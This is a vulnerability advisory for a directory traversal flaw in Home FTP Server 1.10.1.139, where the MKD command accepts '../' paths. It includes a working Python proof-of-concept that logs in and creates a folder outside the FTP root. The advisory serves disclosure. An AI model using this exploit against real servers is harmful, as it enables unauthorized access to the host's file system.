Home FTP Server 'MKD' Command Directory Traversal Vulnerability

[zhangmc]

Date of Discovery: 17-Nov-2009



Credits:zhangmc[at]mail.ustc.edu.cn



Vendor:

Ari Pikivirta

http://downstairs.dnsalias.net/homeftpserver.html



Affected:

Home FTP Server 1.10.1.139

Earlier versions may also be affected



Overview:

Home FTP Server is an easy use FTP server Application. Directory Traversal 
Vulnerability exists in Home FTP Server that 



allows an authenticated user to create directories outside the FTP root 
directory, which may lead to other attacks.



Details:

Home FTP Server fails to sufficiently sanitize user-supplied input in 'MKD' 
command. An authenticated user could use command 



"MKD ../A" to create a folder named "A" outside the FTP root directory.

If you could log on the server successfully, take the following steps to create 
directories outside the FTP root directory:



1.sock.connect((hostname, 21))

2.sock.send("user %s\r\n" %username)

3.sock.send("pass %s\r\n" %passwd)

4.sock.send("MKD ../A\r\n")

5.sock.close()



Severity:

High



Exploit example:



#!/usr/bin/python

import socket

import sys



def Usage():

    print ("Usage:  ./expl.py <serv_ip>      <Username> <password>\n")

    print ("Example:./expl.py 192.168.48.183 anonymous anonymous\n")

if len(sys.argv) <> 4:

        Usage()

        sys.exit(1)

else:

    hostname=sys.argv[1]

    username=sys.argv[2]

    passwd=sys.argv[3]

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

    try:

        sock.connect((hostname, 21))

    except:

        print ("Connection error!")

        sys.exit(1)

    r=sock.recv(1024)

    sock.send("user %s\r\n" %username)

    r=sock.recv(1024)

    sock.send("pass %s\r\n" %passwd)

    r=sock.recv(1024)

    sock.send("MKD ../A\r\n")

    sock.close()

    sys.exit(0);